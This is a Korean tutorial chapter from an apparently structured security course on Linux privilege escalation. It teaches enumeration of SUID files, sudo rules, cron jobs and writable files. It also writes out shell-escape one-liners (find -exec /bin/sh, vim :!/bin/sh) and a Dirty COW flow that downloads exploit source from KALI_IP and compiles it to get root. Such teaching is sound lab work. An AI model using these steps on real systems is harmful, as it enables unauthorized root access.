Step 125. 권한 상승 입문 — 쉘에서 root로

Step 125. 권한 상승 입문 — 쉘에서 root로

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3시간

전제: Step 99의 setuid 개념, Step 106~110의 설정 실수 주제(SUID·sudo·cron), Step 121의 쉘 획득을 마쳤다.

  • 준비물: 리눅스 환경(WSL 가능). 이 챕터의 열거 명령은 전부 여러분의 리눅스에서 직접 실측합니다. 실제 공격 장면(Dirty COW 등)은 MS2 랩의 출력 예시로 제시합니다.
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

침투에 성공해 쉘을 얻었습니다. 축하할 일이지만, 그 쉘의 주인을 확인해 보면 대부분 실망스럽습니다 — www-data, daemon 같은 아무 권한 없는 서비스 계정입니다. 오늘의 주제는 여기서 root(리눅스의 최고 권한, uid 0)까지 올라가는 길, 권한 상승(privilege escalation)입니다. 길은 크게 두 갈래입니다 — ① 관리자의 설정 실수를 찾아 이용하기, ② 오래된 커널의 알려진 버그를 공격하기. 오늘은 첫 번째 길의 정찰법을 내 컴퓨터에서 실측하고, 두 번째 길은 개념과 출력 예시로 익힙니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 제한된 쉘에서 시스템 정보·계정·권한을 열거하는 정찰 명령을 실행한다
  • find / -perm /4000으로 SUID 파일 목록을 뽑고 후보를 골라낸다
  • GTFOBins가 무엇인지 설명하고 조회 방법을 안다
  • sudo 설정과 크론 작업을 권한 상승의 관점에서 읽는다
  • 커널 익스플로잇(Dirty COW)의 개념과 사용 절차를 설명한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 리눅스 셸 (WSL 실측 + MS2 출력 예시)
오늘의 명령 uname -a, id, cat /etc/passwd, find / -perm /4000, sudo -l, cat /etc/crontab
필요한 개념 권한 상승(privesc), SUID 재활용, sudo 규칙, GTFOBins, 커널 익스플로잇
오늘의 산출물 권한 상승 정찰 명령 모음 + 상승 경로 메모

2-1. 쉘의 주인부터 확인하라 — 나는 지금 누구인가

침투 직후 제일 먼저 치는 명령은 id입니다 (Step 99 복습). uid 33이면 www-data — 웹서버 일을 하도록 만들어진, 스스로 로그인도 못 하는 하인 계정입니다. 이 계정으로는 시스템 파일도 못 읽습니다. 그래서 침투는 쉘에서 끝나지 않고 상승으로 이어집니다.

이 차이를 내 컴퓨터에서 직접 확인해 봤습니다 (2026-09-09 WSL 실측 — www-data의 몸이 되어 /etc/shadow를 읽어 보는 실험):

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

같은 명령이 root에서는 전 사용자의 비밀번호 해시를 보여 주고, www-data에서는 Permission denied 한 줄입니다. "같은 쉘, 다른 권한" — 권한 상승이 노리는 것이 바로 이 차이입니다.

2-2. 상승의 두 갈래 길

길 1 — 설정 실수(misconfiguration) 악용. 관리자가 편의를 위해 남겨 둔 틈을 찾습니다. 대표적인 것들:

  • SUID 파일 (Step 99): 실행 순간 소유자 권한으로 도는 프로그램. root 소유 + SUID + 조작 가능한 입력 = 상승 후보
  • sudo 규칙: "이 사용자는 이 명령만 sudo로 실행 가능"이라고 열어 둔 것 — 그 명령이 쉘로 빠져나갈 구멍이 있으면 끝
  • cron 작업: root가 주기적으로 실행하는 스크립트가 내가 쓸 수 있는 파일이면, 내용을 바꿔치기하면 됩니다

길 2 — 커널 익스플로잇. 운영체제 심장부(커널)의 알려진 버그를 공격합니다. 유명한 예가 Dirty COW(CVE-2016-5195) — 리눅스 커널의 메모리 복사 처리 결함으로, 읽기 전용 파일도 root 권한으로 덮어쓸 수 있게 된 버그입니다. MS2(Metasploitable2)의 커널 2.6.x가 이 버그에 취약합니다. 오래된 시스템일수록 이 길이 열려 있을 확률이 높습니다.

실무의 순서는 정해져 있습니다 — 설정 실수부터 찾고, 안 되면 커널을 본다. 커널 익스플로잇은 시스템을 다운시킬 위험이 있어 최후의 수단이기 때문입니다.

2-3. GTFOBins — "이 프로그램, 쉘로 빠져나갈 수 있나요?" 사전

SUID 파일이나 sudo 허용 명령을 찾았다고 끝이 아닙니다. 그 프로그램이 정말 상승에 쓸 수 있는지를 알아야 합니다. GTFOBins(gtfobins.github.io)는 리눅스 기본 명령들이 "권한을 탈취하는 데 어떻게 악용되는가"를 정리한 공개 사전입니다. 예를 들어 find가 SUID로 설정돼 있다면:

find . -exec /bin/sh \; -quit

이 한 줄로 find의 권한(=root)짜리 쉘이 열립니다. GTFOBins에는 이런 "우회 레시피"가 명령별, 상황별(SUID용, sudo용)로 정리돼 있습니다. 후보 발견 → GTFOBins 조회 → 레시피 검증이 상승 공략의 표준 흐름입니다.

2-4. "타깃에서 컴파일"의 의미

커널 익스플로잇은 C 언어 소스 코드로 배포됩니다. 실행하려면 컴파일이 필요한데, MS2에는 gcc가 설치돼 있습니다 — 공격 코드를 타깃으로 옮겨 타깃에서 바로 컴파일할 수 있다는 뜻입니다. 타깃에 gcc가 없으면? 내 Kali에서 타깃과 같은 환경(아키텍처·라이브러리)으로 미리 컴파일해 실행 파일만 옮깁니다 — 이것을 크로스 컴파일이라고 합니다. "타깃에 어떤 도구가 있는가" 자체가 정찰 항목인 이유입니다.


3. 따라 하기

오늘의 정찰 명령은 전부 읽기 전용입니다. 여러분의 WSL에서 그대로 따라 하세요 — 어떤 것도 시스템을 바꾸지 않습니다.

3-1. 나는 누구인가, 이 기계는 무엇인가

id
uname -a
cat /etc/os-release | head -3

출력 (2026-09-09 WSL 실측):

uid=0(root) gid=0(root) groups=0(root)
Linux XI3492 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC ... x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"

읽는 법: 세 명령이 상승 공략의 지도를 그립니다. ① id — 현재 권한 (여러분의 실측 환경은 root로 시작하므로, 침투 직후의 daemon 같은 낮은 권한을 상상하며 읽으세요). ② uname -a커널 버전 — 여기서는 6.18이라 최신이라 커널 익스플로잇 후보가 없지만, MS2에서는 2.6.24가 떠서 Dirty COW 후보가 됩니다. 커널 버전 = "알려진 버그가 있는가"를 검색하는 열쇠입니다. ③ OS 버전 — 익스플로잇 호환성 확인용.

3-2. 계정 지도 — /etc/passwd 읽기

cat /etc/passwd

출력 일부 (2026-09-09 WSL 실측):

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

읽는 법: 콜론으로 나뉜 일곱 칸 — 이름:암호표식:uid:gid:설명:홈:쉘. 공격자의 눈으로 볼 곳은 두 군데입니다. ① 쉘이 /bin/bash인 계정 — 로그인 가능한 "사람"의 계정 (여기선 root뿐, 일반 서버라면 사용자 계정들). ② uid 0인 계정 — root 별명이 숨어 있을 수 있으니 0이 둘 이상이면 대형 사고입니다. /etc/passwd는 누구나 읽을 수 있게 설계된 파일이라(3-1의 www-data 실험에서도 읽혔습니다) 상승 전에도 열거됩니다. 비밀번호 해시는 /etc/shadow에 따로 있고, 그래서 shadow가 root 전용인 것입니다.

3-3. SUID 사냥 — find / -perm /4000

권한 상승 정찰의 대표 명령입니다 (2026-09-09 WSL 실측):

find / -perm /4000 -type f 2>/dev/null

출력 (2026-09-09 실측):

/usr/lib/openssh/ssh-keysign
/usr/lib/landscape/apt-update
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/gpasswd

읽는 법: 전부 root 소유 + SUID라는 뜻입니다. ls -l /usr/bin/passwd로 확인하면 (2026-09-09 실측) -rwsr-xr-x 1 root root — 소유자 자리의 s가 보입니다. 이제 공격자의 질문: "이 목록에 원래 없어도 될 것이 있는가?" passwd, sudo, su, mount는 정상적인 구성원입니다. 그런데 만약 여기에 find, vim, cp, python 같은 이름이 섞여 있다면 — GTFOBins에 레시피가 있는 명령입니다 — 그것이 곧 상승 경로입니다. MS2나 워게임에서는 이 목록에 "이상한 손님"이 일부러 심어져 있습니다. 눈에 안 익는 이름이 나올 때마다 GTFOBins에서 검색하는 습관을 들이세요.

명령의 부품을 뜯으면: -perm /4000은 "SUID 비트가 켜진 것", 2>/dev/null은 "권한 없어서 읽지 못하는 폴더의 오류 메시지는 버려라"는 뜻입니다. 낮은 권한의 쉘에서 이 옵션이 없으면 오류가 화면을 뒤덮습니다.

3-4. sudo 규칙 읽기 — sudo -l

sudo -l

출력 (2026-09-09 WSL 실측 — 실험 계정이 root라 이렇게 나옵니다):

Matching Defaults entries for root on XI3492:
    env_reset, mail_badpass, secure_path=..., use_pty

User root may run the following commands on XI3492:
    (ALL : ALL) ALL

읽는 법: "이 사용자는 sudo로 무엇을 할 수 있는가"의 목록입니다. (ALL : ALL) ALL은 root라 모든 것이 가능한 상태. 침투 직후의 낮은 계정이라면 보통 "Sorry, user www-data may not run sudo"가 뜨지만, 워게임에서는 가끔 이런 행이 나옵니다 — User bob may run: (root) NOPASSWD: /usr/bin/find. "비밀번호 없이 find를 root로 실행 가능" — GTFOBins의 find sudo 레시피 그대로 상승 완료입니다. sudo -l은 상승 정찰에서 SUID 다음으로 먼저 치는 명령입니다.

3-5. 자동 작업 엿보기 — /etc/crontab

cat /etc/crontab

출력 (2026-09-09 WSL 실측 — 실제 작업은 없고 뼈대만 있습니다):

SHELL=/bin/sh
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# ...

읽는 법: 여기에 * * * * * root /opt/backup.sh 같은 행이 있다면 — "root가 1분마다 backup.sh를 실행한다." 다음 질문은 "그 스크립트를 내가 수정할 수 있는가?"입니다. ls -l /opt/backup.sh에서 쓰기 권한이 일반 사용자에게 열려 있으면, 내용에 /bin/sh 실행을 심어 두고 1분을 기다리면 root 쉘이 생깁니다 (Step 100에서 cron을 다뤘던 그 사고방식의 실전판입니다). WSL 실측에서는 예제 뼈대만 나왔지만, MS2와 워게임에서는 이 파일에 진짜 단서가 있습니다.

3-6. 쓰기 가능한 파일 찾기

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head

출력 (2026-09-09 WSL 실측 — root라 시스템 파일들이 나옵니다):

/var/lib/command-not-found/commands.db
/var/lib/PackageKit/transactions.db
/var/lib/landscape/landscape-sysinfo.cache
...

읽는 법: 낮은 권한의 쉘에서 이 명령을 치면 "내가 건드릴 수 있는 파일" 목록이 나옵니다. 그 목록에 시스템 스크립트나 설정 파일이 섞여 있으면 — cron 스크립트, sudoers 조각, 서비스 설정 — 상승의 실마리입니다. 출력이 기니까 항상 | head로 훑고, 이상한 경로가 보이면 그때 자세히 봅니다.

3-7. 커널 길 — Dirty COW 공략 흐름 (출력 예시)

MS2 랩에서의 실제 공략 흐름입니다 (이 환경에는 MS2가 없으므로 출력 예시):

# 1. 커널 확인 — 2.6.x면 Dirty COW 후보
uname -a
# Linux metasploitable 2.6.24-16-server #1 SMP ... i686 GNU/Linux

# 2. Kali에서 익스플로잇 검색·확보
searchsploit dirty cow
searchsploit -m 40839        # 유명한 cowroot 계열 코드 확보

# 3. 타깃으로 전송 (Kali: python3 -m http.server → MS2: wget)
wget http://KALI_IP:8000/40839.c -O /tmp/dcow.c

# 4. 타깃에서 컴파일 — MS2에는 gcc가 있다
gcc -pthread /tmp/dcow.c -o /tmp/dcow

# 5. 실행 후 확인
/tmp/dcow
id
# uid=0(root) gid=0(root) groups=0(root)

읽는 법: 흐름의 뼈대를 보세요 — ① 버전 확인으로 취약 여부 판단 → ② 공개 익스플로잇 검색 → ③ 파일 전송 → ④ 타깃에서 컴파일 → ⑤ 실행과 id 검증. id의 uid가 0으로 바뀐 것, 그 한 줄이 상승 성공의 증거이고 Step 128 보고서의 스크린샷이 될 장면입니다. 컴파일 에러가 나면 코드 주석에 적힌 컴파일 옵션(-pthread 등)을 확인하는 것이 정석입니다.

주의: 커널 익스플로잇은 시스템을 다운시킬 수 있는 최후의 수단입니다. 설정 실수를 먼저 다 털고 나서 사용하세요.


4. 미션과 연습문제

미션 — 권한 상승 정찰 명령 모음 만들기

  1. 3-1~3-6의 여섯 정찰 명령을 여러분의 리눅스에서 전부 직접 실행하고 출력을 저장합니다
  2. SUID 목록에서 "정상 구성원"과 "이상한 손님이었다면 의심했을 이름"을 구분하는 기준을 세웁니다
  3. 각 명령이 "공격자에게 어떤 정보를 주는가"를 한 줄씩 적어 정찰표를 완성합니다
  4. (랩이 있다면) MS2에서 Dirty COW 또는 설정 실수로 root 획득 후, 사용한 경로를 문서화합니다
  5. 위키에 privesc-정찰.md를 만듭니다 — 명령 / 얻는 정보 / 상승으로 이어지는 조건

연습문제

문제 1. find / -perm /4000 -type f 2>/dev/null에서 2>/dev/null이 없으면 낮은 권한의 쉘에서 어떤 일이 생기나요?

문제 2. sudo -l 출력에 (root) NOPASSWD: /usr/bin/vim이 있다고 합시다. 왜 이것이 곧바로 root 상승 경로인지 GTFOBins의 관점에서 설명해 보세요.

문제 3. 설정 실수 악용을 커널 익스플로잇보다 먼저 시도하는 이유를 두 가지 말해 보세요.

문제 4. /etc/passwd는 누구나 읽을 수 있는데 /etc/shadow는 root만 읽을 수 있습니다 (3-1 실측 참조). 이 분리가 없었다면 어떤 공격이 훨씬 쉬워졌을지 설명해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

정찰표의 완성 예시 (명령은 3절 실측 그대로):

명령 얻는 정보 상승으로 이어지는 조건
id 현재 권한 — (상승 성공의 검증 도구)
uname -a 커널 버전 알려진 취약 커널이면 익스플로잇 후보
cat /etc/passwd 계정·쉘 목록 로그인 가능 계정 파악, uid 0 중복
find / -perm /4000 SUID 목록 GTFOBins에 있는 이상한 이름 발견
sudo -l sudo 허용 명령 NOPASSWD + 우회 가능 명령 조합
cat /etc/crontab root 자동 작업 작업 스크립트가 쓰기 가능
find / -writable ... 내가 쓸 수 있는 파일 시스템 스크립트·설정이 섞여 있음

검증하는 법: ① 여섯 명령의 출력을 직접 저장했는가. ② SUID 목록에서 passwd·sudo·su·mount를 "정상"으로 구분할 수 있는가. ③ 랩에서 상승했다면 id 출력 전후 대조(uid 변화)를 증거로 남겼는가.

연습문제 해답

문제 1 해답. 권한이 없어 들어갈 수 없는 폴더마다 Permission denied 오류가 쏟아져 정작 중요한 결과(찾은 SUID 파일)가 오류 메시지에 파묻힙니다. 2>는 오류 출력 통로이고 /dev/null은 버리는 곳 — "오류는 버리고 결과만 보겠다"는 뜻입니다.

문제 2 해답. vim은 편집기지만 내부에서 외부 명령·쉘을 실행하는 기능이 있습니다. GTFOBins의 vim sudo 레시피는 "vim 안에서 :!/bin/sh를 실행"하는 것 — sudo로 띄운 vim이 띄운 쉘이므로 그 쉘은 root입니다. "권한 높은 프로그램 + 쉘로 빠져나가는 기능"의 조합이면 어떤 명령이든 상승 경로가 됩니다.

문제 3 해답. 첫째, 안전성 — 설정 실수 악용은 시스템을 정상 기능 안에서 이용하므로 다운 위험이 없지만, 커널 익스플로잇은 실패 시 시스템이 멈출 수 있습니다. 둘째, 발견 가능성 — 관리자의 실수(SUID 남용, 느슨한 sudo)는 패치로 안 막히는 경우가 많아 오래된 시스템이 아니어도 남아 있습니다.

문제 4 해답. 해시가 모두에게 공개돼 있다면, 누구든 해시를 복사해 자기 컴퓨터에서 마음껏 오프라인 크래킹(Step 123~124)을 할 수 있습니다. 지금은 shadow를 얻으려면 먼저 root가 돼야 하므로 "상승 → shadow 탈취 → 크래킹"의 긴 체인이 필요합니다. 읽기 권한 하나의 분리가 공격 체인을 두 단계 늘린 셈입니다 — 좋은 보안 설계가 공격자의 비용을 올린다는 교과서적 사례입니다.

완료 기준 체크리스트

  • [ ] id·uname -a로 현재 권한과 커널 버전을 확인할 수 있다
  • [ ] /etc/passwd의 칸 구조와 "쉘이 있는 계정"을 읽을 수 있다
  • [ ] find / -perm /4000으로 SUID 목록을 뽑고 정상/이상을 구분한다
  • [ ] sudo -l 출력에서 NOPASSWD 항목의 의미를 안다
  • [ ] GTFOBins의 용도와 조회 흐름을 설명할 수 있다
  • [ ] Dirty COW 공략의 5단계 흐름을 순서대로 말할 수 있다
  • [ ] 설정 실수를 먼저 보는 이유를 설명할 수 있다
  • [ ] 미션: 정찰표 작성과 privesc-정찰.md를 완성했다

6. 흔한 실수와 해결

벽 1. find 결과가 오류에 파묻힌다

증상: find / -perm /4000을 쳤더니 화면이 이렇게 도배됩니다 (실측 형태):

find: '/proc/...': Permission denied
find: '/sys/...': Permission denied

원인: 낮은 권한으로 못 읽는 폴더의 오류 메시지가 결과와 섞여 나옵니다.

해결: 2>/dev/null을 붙이세요 — find / -perm /4000 -type f 2>/dev/null. 정찰 명령의 끝에는 거의 항상 이 꼬리가 붙는다고 기억하면 됩니다.

벽 2. SUID 목록은 뽑았는데 뭘 봐야 할지 모르겠다

증상: 14개의 목록 앞에서 멈춥니다.

원인: "정상 구성원"의 얼굴을 몰라서 이상한 것을 못 알아보는 상태입니다. 정상입니다 — 목록은 몇 번 보면 익습니다.

해결: 3-3 실측 목록(Ubuntu의 정상 구성원)을 기준선으로 저장해 두세요. 이후 어떤 시스템에서든 이 목록에 없는 이름이 보이면 그것부터 GTFOBins에 검색하면 됩니다. 기준선 대조 — Step 95의 변화 탐지와 같은 사고방식입니다.

벽 3. sudo -l이 비밀번호를 묻는다

증상: sudo -l을 쳤더니 [sudo] password for www-data:를 묻습니다.

원인: sudo 규칙 조회 자체에 본인 비밀번호가 필요한 설정입니다 — 그리고 침투로 얻은 서비스 계정의 비밀번호는 모릅니다.

해결: 모르면 넘어가고 다른 정찰로 진행하세요. "비밀번호를 묻는다" 자체가 정보입니다 — 이 계정의 sudo를 보려면 다른 경로(설정 파일 /etc/sudoers 읽기 시도 — 보통 root만 읽을 수 있어 막히지만, 그것도 확인할 가치가 있습니다)가 필요하다는 뜻이니까요.

벽 4. 커널 익스플로잇을 컴파일했더니 에러가 난다

증상 (출력 예시): gcc 실행 시 undefined reference 오류.

원인: 익스플로잇 코드마다 필요한 컴파일 옵션이 다릅니다 — 스레드를 쓰는 코드는 -pthread가 없으면 안 됩니다.

해결: 익스플로잇 소스 파일의 맨 위 주석을 읽으세요. 공개 익스플로잇은 대부분 "이렇게 컴파일하라"가 주석에 적혀 있습니다. 그래도 안 되면 다른 버전의 코드를 고릅니다 — Dirty COW처럼 유명한 취약점은 구현이 여러 개라서, 유명하고 설명이 충실한 것부터 시도하는 것이 빠릅니다.

벽 5. 목표가 "root"인 건 아는데, 뭐부터 쳐야 할지 순서를 잊는다

증상: 쉘 앞에서 손이 멈춥니다.

원인: 정찰 순서가 몸에 안 붙은 것입니다. 정상입니다 — 순서는 외우는 게 아니라 적어 두는 것입니다.

해결: 이 순서표를 위키에 박제하세요 — ① id (나는 누구) → ② uname -a (커널 후보) → ③ sudo -l (허용 명령) → ④ find / -perm /4000 (SUID) → ⑤ cat /etc/crontab (자동 작업) → ⑥ find / -writable (쓰기 가능). 앞에서부터 치다가 "이상한 것"이 보이면 거기서 멈추고 파고들면 됩니다. 이 순서를 자동으로 돌려 주는 도구(linPEAS 같은 자동 열거 스크립트)도 있지만, 수동 순서를 아는 사람만이 도구의 출력을 읽을 수 있습니다.


7. 정리

오늘의 개념

개념 한 줄 설명
권한 상승(privesc) 낮은 권한의 쉘에서 root(uid 0)로 올라가는 과정
설정 실수 악용 SUID·sudo·cron의 느슨한 설정을 이용하는 길 — 항상 먼저
커널 익스플로잇 알려진 커널 버그(Dirty COW 등)를 공격하는 최후의 길
GTFOBins 기본 명령의 권한 탈취 레시피 사전 — 후보 발견 후 조회
passwd/shadow 분리 해시를 root 전용으로 격리해 공격 체인을 늘린 설계
타깃에서 컴파일 익스플로잇 소스를 타깃의 gcc로 빌드 — 없으면 크로스 컴파일

오늘의 명령어

명령 하는 일
id 현재 uid/gid — 상승 전후 검증의 기준
uname -a 커널 버전 — 익스플로잇 검색의 열쇠
cat /etc/passwd 계정 지도 (누구나 읽기 가능)
find / -perm /4000 -type f 2>/dev/null SUID 파일 목록
sudo -l 내게 허용된 sudo 명령 조회
cat /etc/crontab root의 자동 작업 엿보기
find / -writable -type f 2>/dev/null 내가 쓸 수 있는 파일 찾기

명령어보다 중요한 감각

권한 상승은 "마법의 명령 하나"가 아니라 정찰의 소산입니다. 여섯 개의 읽기 전용 명령이 지도를 그리고, 지도에서 이상한 점을 찾고, GTFOBins로 조리법을 확인하고, 마지막에 id로 증명합니다. 그리고 수비자의 눈으로 뒤집어 보세요 — 오늘 배운 정찰 명령들은 전부 점검 명령이기도 합니다. 내 서버에서 find / -perm /4000을 주기적으로 돌려 이상한 SUID가 없는지 보는 것, 그것이 공격자보다 먼저 길을 막는 방법입니다. 공격과 방어가 같은 명령을 돌린다 — 이 과에서 배우는 모든 것이 그렇습니다.


전부 체크되면 Step 125 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.